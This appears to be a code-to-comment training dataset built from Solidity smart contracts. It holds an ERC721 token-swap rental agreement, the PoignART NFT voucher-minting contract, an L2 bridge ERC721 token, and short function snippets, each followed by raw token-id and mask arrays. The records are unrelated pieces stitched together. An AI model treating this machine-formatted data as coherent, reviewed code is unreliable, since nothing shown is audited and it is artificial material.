pragma solidity ^0.8.0; import "../../utils/Context.sol"; import "./extensions/IERC721Rental.sol"; import "../../utils/introspection/ERC165.sol"; /// @title An agreement to swap two ERC721 between their respective owners. /// @dev The tokens being swapped are specified during the contract construction. /// @notice The swap contract specifies the rental period and the rental expiration time in the constructor. /// After the expiration time, the contract is considered as invalid and cannot be started. /// Before it expires, it can be started, and restarted at any time. contract ERC721SwapRentalAgreement is Context, IERC721RentalAgreement, ERC165 { enum RentalStatus { pending, active } struct Token { IERC721Rental source; bool approvedForRental; uint256 tokenId; } struct RentalAgreement { Token token1; Token token2; uint40 startTime; uint40 rentalDuration; uint40 rentalExpirationTime; RentalStatus rentalStatus; } RentalAgreement public rentalAgreement; constructor( IERC721Rental _source1, IERC721Rental _source2, uint256 _tokenId1, uint256 _tokenId2, uint40 _rentalDuration, uint40 _rentalExpirationTime ) { Token memory token1 = Token(_source1, false, _tokenId1); Token memory token2 = Token(_source2, false, _tokenId2); require( _source1.ownerOf(_tokenId1) != _source2.ownerOf(_tokenId2), "ERC721SwapRentalAgreement: token 1 and token 2 have the same owner" ); rentalAgreement = RentalAgreement( token1, token2, 0, _rentalDuration, _rentalExpirationTime, RentalStatus.pending ); } /// Only authorize calls from the two tokens involved in the swap. modifier onlyErc721Contracts() { Token memory token1 = rentalAgreement.token1; Token memory token2 = rentalAgreement.token2; require( (_msgSender() == address(token1.source) || (_msgSender() == address(token2.source))), "ERC721SwapRentalAgreement: only registered erc721 can change state" ); _; } /// @inheritdoc IERC721RentalAgreement function afterAgreementRemoved(uint256) public view override onlyErc721Contracts { require( rentalAgreement.rentalStatus == RentalStatus.pending, "ERC721SwapRentalAgreement: rental agreement already active" ); } /// @notice starts the rental agreement and swap the two tokens between the two owners. /// Any caller can start the token swap, if the two token owners have approved their token for rental. /// A swap can be rented again and again until the swap agreement expires. function startRental() public { // Before the expiration date. require(block.timestamp <= rentalAgreement.rentalExpirationTime, "ERC721SwapRentalAgreement: rental expired"); // rental agreement has to be pending. require( rentalAgreement.rentalStatus == RentalStatus.pending, "ERC721SwapRentalAgreement: rental agreement already active" ); Token memory token1 = rentalAgreement.token1; Token memory token2 = rentalAgreement.token2; // Tokens have to be aproved for rental by their owners or approvers. require(token1.approvedForRental, "ERC721SwapRentalAgreement: token 1 not approved for rental"); require(token2.approvedForRental, "ERC721SwapRentalAgreement: token 2 not approved for rental"); // Start the rental. rentalAgreement.rentalStatus = RentalStatus.active; rentalAgreement.startTime = uint40(block.timestamp); // Swap the tokens. token1.source.acceptRentalAgreement(token2.source.ownerOf(token2.tokenId), token1.tokenId); token2.source.acceptRentalAgreement(token1.source.rentedOwnerOf(token1.tokenId), token2.tokenId); } /// @inheritdoc IERC721RentalAgreement function afterRentalStarted(address from, uint256) public view override onlyErc721Contracts { require(from == address(this)); } /// @return bool: returns true if the target is the owner or approved or an operator. function _isOwnerOrApprover( IERC721Rental source, uint256 tokenId, address owner, address target ) internal view returns (bool) { return (target == owner || target == source.getApproved(tokenId) || source.isApprovedForAll(owner, target)); } /// @notice it aims to be called by the two token owners independently to approve their respective token for swap. function approveRental(IERC721Rental source, uint256 tokenId) external { Token memory token1 = rentalAgreement.token1; Token memory token2 = rentalAgreement.token2; // Only registered sources and tokenIds can be approved. require( (source == token1.source) || (source == token2.source), "ERC721SwapRentalAgreement: token not registered" ); require( (tokenId == token1.tokenId) || (tokenId == token2.tokenId), "ERC721SwapRentalAgreement: invalid token id" ); // Only tokenId owner or approver can approve the rental. require( _isOwnerOrApprover(source, tokenId, source.ownerOf(tokenId), _msgSender()), "ERC721SwapRentalAgreement: only owner or approver can approve rental agreement" ); // Clear tokens for rentalal. if (source == token1.source && tokenId == token1.tokenId) { token1.approvedForRental = true; rentalAgreement.token1 = token1; } else { token2.approvedForRental = true; rentalAgreement.token2 = token2; } } /// @notice Stops the swap agreement and transfers back the token to their original owners. /// It reinitializes the rental agreement state so it can be started over if the agreement isn't expired. /// This can be called by any caller, after the rental period is over. function stopRental() public { require( rentalAgreement.rentalStatus == RentalStatus.active, "ERC721SwapRentalAgreement: can only stop active rental" ); require( block.timestamp >= rentalAgreement.startTime + rentalAgreement.rentalDuration, "ERC721SwapRentalAgreement: rental period not finished yet" ); // Reinitialize the tokens state. Token memory token1 = rentalAgreement.token1; Token memory token2 = rentalAgreement.token2; token1.approvedForRental = false; token2.approvedForRental = false; // Reinitialize the rental agreement. rentalAgreement.token1 = token1; rentalAgreement.token2 = token2; rentalAgreement.startTime = 0; rentalAgreement.rentalStatus = RentalStatus.pending; // Swap back the tokens. token1.source.stopRentalAgreement(token1.tokenId); token2.source.stopRentalAgreement(token2.tokenId); } /// @inheritdoc IERC721RentalAgreement function afterRentalStopped(address from, uint256) public view override onlyErc721Contracts { require(address(this) == from); } }
@notice starts the rental agreement and swap the two tokens between the two owners. Any caller can start the token swap, if the two token owners have approved their token for rental. A swap can be rented again and again until the swap agreement expires. Before the expiration date. rental agreement has to be pending. Tokens have to be aproved for rental by their owners or approvers. Start the rental. Swap the tokens.
function startRental() public { require(block.timestamp <= rentalAgreement.rentalExpirationTime, "ERC721SwapRentalAgreement: rental expired"); require( rentalAgreement.rentalStatus == RentalStatus.pending, "ERC721SwapRentalAgreement: rental agreement already active" ); Token memory token1 = rentalAgreement.token1; Token memory token2 = rentalAgreement.token2; require(token1.approvedForRental, "ERC721SwapRentalAgreement: token 1 not approved for rental"); require(token2.approvedForRental, "ERC721SwapRentalAgreement: token 2 not approved for rental"); rentalAgreement.rentalStatus = RentalStatus.active; rentalAgreement.startTime = uint40(block.timestamp); token1.source.acceptRentalAgreement(token2.source.ownerOf(token2.tokenId), token1.tokenId); token2.source.acceptRentalAgreement(token1.source.rentedOwnerOf(token1.tokenId), token2.tokenId); }
13,080,253
[ 1, 17514, 326, 283, 496, 287, 19602, 471, 7720, 326, 2795, 2430, 3086, 326, 2795, 25937, 18, 5502, 4894, 848, 787, 326, 1147, 7720, 16, 309, 326, 2795, 1147, 25937, 1240, 20412, 3675, 1147, 364, 283, 496, 287, 18, 432, 7720, 848, 506, 283, 496, 329, 3382, 471, 3382, 3180, 326, 7720, 19602, 7368, 18, 11672, 326, 7686, 1509, 18, 283, 496, 287, 19602, 711, 358, 506, 4634, 18, 13899, 1240, 358, 506, 513, 303, 2155, 364, 283, 496, 287, 635, 3675, 25937, 578, 6617, 2496, 18, 3603, 326, 283, 496, 287, 18, 12738, 326, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 787, 54, 319, 287, 1435, 1071, 288, 203, 3639, 2583, 12, 2629, 18, 5508, 1648, 283, 496, 287, 17420, 18, 547, 287, 12028, 950, 16, 315, 654, 39, 27, 5340, 12521, 54, 319, 287, 17420, 30, 283, 496, 287, 7708, 8863, 203, 3639, 2583, 12, 203, 5411, 283, 496, 287, 17420, 18, 547, 287, 1482, 422, 534, 319, 287, 1482, 18, 9561, 16, 203, 5411, 315, 654, 39, 27, 5340, 12521, 54, 319, 287, 17420, 30, 283, 496, 287, 19602, 1818, 2695, 6, 203, 3639, 11272, 203, 203, 3639, 3155, 3778, 1147, 21, 273, 283, 496, 287, 17420, 18, 2316, 21, 31, 203, 3639, 3155, 3778, 1147, 22, 273, 283, 496, 287, 17420, 18, 2316, 22, 31, 203, 203, 3639, 2583, 12, 2316, 21, 18, 25990, 1290, 54, 319, 287, 16, 315, 654, 39, 27, 5340, 12521, 54, 319, 287, 17420, 30, 1147, 404, 486, 20412, 364, 283, 496, 287, 8863, 203, 3639, 2583, 12, 2316, 22, 18, 25990, 1290, 54, 319, 287, 16, 315, 654, 39, 27, 5340, 12521, 54, 319, 287, 17420, 30, 1147, 576, 486, 20412, 364, 283, 496, 287, 8863, 203, 203, 3639, 283, 496, 287, 17420, 18, 547, 287, 1482, 273, 534, 319, 287, 1482, 18, 3535, 31, 203, 3639, 283, 496, 287, 17420, 18, 1937, 950, 273, 2254, 7132, 12, 2629, 18, 5508, 1769, 203, 203, 3639, 1147, 21, 18, 3168, 18, 9436, 54, 319, 287, 17420, 12, 2316, 22, 18, 3168, 18, 8443, 951, 12, 2316, 22, 18, 2316, 548, 3631, 1147, 21, 18, 2316, 2 ]
./full_match/5/0x90F7597B225A9df18983840F7f23ef460D8d0f8a/sources/contracts/BuyMeACoffee.sol
* @dev buy a coffee for contract owner @param _name name of the coffee buyer @param _message a nice message grom the coffee buyer @param _amount number of coffees bought from the buyer/ money is stored in the contract's balance
function buyCoffee(string memory _name, string memory _message, uint32 _amount) public payable { require(msg.value > 0, "can't but a coffee with 0 eth"); coffees.push(Coffee( msg.sender, block.timestamp, _name, _message, _amount )); emit NewCoffee( msg.sender, block.timestamp, _name, _message, _amount); }
1,870,755
[ 1, 70, 9835, 279, 276, 3674, 1340, 364, 6835, 3410, 225, 389, 529, 508, 434, 326, 276, 3674, 1340, 27037, 225, 389, 2150, 279, 13752, 883, 314, 520, 326, 276, 3674, 1340, 27037, 225, 389, 8949, 1300, 434, 276, 792, 3030, 281, 800, 9540, 628, 326, 27037, 19, 15601, 353, 4041, 316, 326, 6835, 1807, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 39, 3674, 1340, 12, 1080, 3778, 389, 529, 16, 533, 3778, 389, 2150, 16, 2254, 1578, 389, 8949, 13, 1071, 8843, 429, 288, 203, 3639, 2583, 12, 3576, 18, 1132, 405, 374, 16, 315, 4169, 1404, 1496, 279, 276, 3674, 1340, 598, 374, 13750, 8863, 203, 203, 3639, 276, 792, 3030, 281, 18, 6206, 12, 39, 3674, 1340, 12, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1203, 18, 5508, 16, 203, 5411, 389, 529, 16, 203, 5411, 389, 2150, 16, 203, 5411, 389, 8949, 203, 3639, 262, 1769, 203, 203, 3639, 3626, 1166, 39, 3674, 1340, 12, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1203, 18, 5508, 16, 203, 5411, 389, 529, 16, 203, 5411, 389, 2150, 16, 203, 5411, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // @author Kyle_Stargarden w/ Big thanks to yusefnapora and NFTCulture pragma solidity ^0.8.4; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract PoignART is ERC721URIStorage, EIP712, Pausable, AccessControl { using ECDSA for bytes32; bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant CRON_JOB = keccak256("CRON_JOB"); address public constant UNCHAIN = 0x10E1439455BD2624878b243819E31CfEE9eb721C; /************************* MAPPING STRUCTS EVENTS *************************/ // voucher object is signed and stored off-chain to enable and enforce lazy minting struct NFTVoucher { // @notice The id of the token to be redeemed. Must be unique - if another token with this ID already exists, the redeem function will revert. uint256 tokenId; // @notice The minimum price (in wei) that the NFT creator is willing to accept for the initial sale of this NFT. uint256 minPrice; // @notice The metadata URI to associate with this token. string uri; } uint public minimumPrice; // event for indexing withdrawals event Withdraw(address indexed recipient, uint value); // event for indexing redeems event Redeem(address indexed signer, address indexed redeemer, uint tokenId, uint value); constructor() ERC721("PoignART", "[+++||=====>") EIP712("PoignartVoucher", "1") { _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(PAUSER_ROLE, msg.sender); _grantRole(MINTER_ROLE, msg.sender); _grantRole(CRON_JOB, msg.sender); minimumPrice = 0.025 ether; } /************************* STATE VARIABLES *************************/ // the _merkleRoot allowing authentication of all users from snapshot and community vetting bytes32 public _merkleRoot; /************************* MODIFIERS *************************/ // prevents all contracts from calling the minting functions modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract!"); _; } /************************* VIEW AND PURE FUNCTIONS *************************/ // view function returns true if an artist address is part of the merkleTree function verifyArtist( address _artist, bytes32[] memory _merkleProof ) public view returns (bool valid) { bytes32 _leaf = keccak256(abi.encodePacked(_artist)); return MerkleProof.verify(_merkleProof, _merkleRoot, _leaf); } // view function returns the base token URI slug function _baseURI() internal pure override returns (string memory) { return "ipfs://"; } /************************* USER FUNCTIONS *************************/ function _redeemVoucher( address redeemer, address signer, uint price, uint tokenId, string calldata uri ) internal returns (uint) { //enforce the minimum price require(msg.value >= price, "Insufficient funds to redeem"); require(msg.value >= minimumPrice, "Value must be over the minimum price!"); // first assign the token to the signer, to establish provenance on-chain _mint(signer, tokenId); // assign the token URI to it's correct ipfs address _setTokenURI(tokenId, uri); // transfer the token to the redeemer _transfer(signer, redeemer, tokenId); // index creator, collector and payment data for subgraph emit Redeem(signer, redeemer, tokenId, msg.value); return tokenId; } function redeem( address redeemer, NFTVoucher calldata voucher, bytes calldata signature, bytes32[] calldata merkleProof ) public payable callerIsUser whenNotPaused returns (uint256) { // make sure signature is valid and get the address of the signer address signer = _verify(voucher, signature); // make sure that the signer is authorized to mint NFTs require(verifyArtist(signer, merkleProof), "Not authorized!"); return _redeemVoucher(redeemer, signer, voucher.minPrice, voucher.tokenId, voucher.uri); } /************************* ACCESS CONTROL FUNCTIONS *************************/ // allows cron role to change the minimum price function setMinimum( uint newMinimum ) external onlyRole(CRON_JOB) { minimumPrice = newMinimum; } // allows extended functionality for Dutch Auction etc function extendedMinting( address redeemer, address signer, uint price, uint tokenId, string calldata uri ) external payable onlyRole(MINTER_ROLE) returns (uint256) { return _redeemVoucher(redeemer, signer, price, tokenId, uri); } function pause() public onlyRole(PAUSER_ROLE) { _pause(); } function unpause() public onlyRole(PAUSER_ROLE) { _unpause(); } // function for adding new updated roots for vetting process function cronJobRoot( bytes32 newRoot ) external onlyRole(CRON_JOB) whenNotPaused { _merkleRoot = newRoot; } /** @dev Function for withdrawing ETH to Unchain via Giveth * Constants are used for transparency and safety */ function withdrawAll() public { emit Withdraw(UNCHAIN, address(this).balance); require(payable(UNCHAIN).send(address(this).balance)); } function addCron( address newCron ) external onlyRole(DEFAULT_ADMIN_ROLE) { grantRole(CRON_JOB, newCron); } /************************* PRIVATE / INTERNAL *************************/ /// @notice recovers the address of the original voucher signer from NFTVoucher /// @param voucher that contains necessary data for redeeming an NFT /// @param signature generated from private key and original NFTVoucher object function _verify( NFTVoucher calldata voucher, bytes memory signature ) internal view returns (address) { bytes32 digest = _hash(voucher); return digest.recover(signature); } /// @notice Returns a hash of the given NFTVoucher, prepared using EIP712 typed data hashing rules. /// @param voucher An NFTVoucher to hash. function _hash(NFTVoucher calldata voucher) internal view returns (bytes32) { return _hashTypedDataV4(keccak256(abi.encode( keccak256("NFTVoucher(uint256 tokenId,uint256 minPrice,string uri)"), voucher.tokenId, voucher.minPrice, keccak256(bytes(voucher.uri)) ))); } /************************* OVERRIDES *************************/ // The following functions are overrides required by Solidity. function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } }
function for adding new updated roots for vetting process
function cronJobRoot( bytes32 newRoot ) external onlyRole(CRON_JOB) whenNotPaused { _merkleRoot = newRoot; }
6,461,232
[ 1, 915, 364, 6534, 394, 3526, 12876, 364, 331, 278, 1787, 1207, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9998, 2278, 2375, 12, 203, 3639, 1731, 1578, 394, 2375, 203, 565, 262, 203, 3639, 3903, 1338, 2996, 12, 5093, 673, 67, 18321, 13, 1347, 1248, 28590, 288, 203, 3639, 389, 6592, 15609, 2375, 273, 394, 2375, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x03F8C653149F4BAAE6Cc87a8E06eE9d5E2ac448c/sources/Dollar.sol
Chain */ Bootstrapping */ Oracle */ Bonding */ Epoch */
struct EpochStrategy { uint256 offset; uint256 start; uint256 period; } uint256 private constant EPOCH_OFFSET = 0; uint256 private constant EPOCH_START = 1609416000; uint256 private constant EPOCH_PERIOD = 3600;
8,499,916
[ 1, 3893, 342, 11830, 1382, 342, 28544, 342, 605, 1434, 310, 342, 512, 6127, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 512, 6127, 4525, 288, 203, 3639, 2254, 5034, 1384, 31, 203, 3639, 2254, 5034, 787, 31, 203, 3639, 2254, 5034, 3879, 31, 203, 565, 289, 203, 203, 565, 2254, 5034, 3238, 5381, 512, 30375, 67, 11271, 273, 374, 31, 203, 565, 2254, 5034, 3238, 5381, 512, 30375, 67, 7570, 273, 2872, 5908, 24, 2313, 3784, 31, 203, 565, 2254, 5034, 3238, 5381, 512, 30375, 67, 28437, 273, 12396, 31, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import { IL2StandardERC721 } from "./IL2StandardERC721.sol"; import { IERC165 } from "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import { ERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; /** * @title L2StandardERC721 * @dev L2StandardERC721 is the Oasys Standard ERC721 contract bridged from the Hub-Layer. */ contract L2StandardERC721 is IL2StandardERC721, ERC721, ERC721Enumerable { /********************** * Contract Variables * **********************/ address public l1Token; address public l2Bridge; /** * @param _l2Bridge Address of the L2 standard bridge. * @param _l1Token Address of the corresponding L1 token. * @param _name ERC20 name. * @param _symbol ERC20 symbol. */ constructor( address _l2Bridge, address _l1Token, string memory _name, string memory _symbol ) ERC721(_name, _symbol) { l1Token = _l1Token; l2Bridge = _l2Bridge; } modifier onlyL2Bridge() { require(msg.sender == l2Bridge, "Only L2 Bridge can mint and burn"); _; } function mint(address _to, uint256 _tokenId) public virtual onlyL2Bridge { _mint(_to, _tokenId); emit L2BridgeMint(_to, _tokenId); } function burn(address _from, uint256 _tokenId) public virtual onlyL2Bridge { _burn(_tokenId); emit L2BridgeBurn(_from, _tokenId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable, IERC165) returns (bool) { return interfaceId == type(IL2StandardERC721).interfaceId || super.supportsInterface(interfaceId); } }
* @dev See {IERC165-supportsInterface}./
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable, IERC165) returns (bool) { return interfaceId == type(IL2StandardERC721).interfaceId || super.supportsInterface(interfaceId); }
13,140,608
[ 1, 9704, 288, 45, 654, 39, 28275, 17, 28064, 1358, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
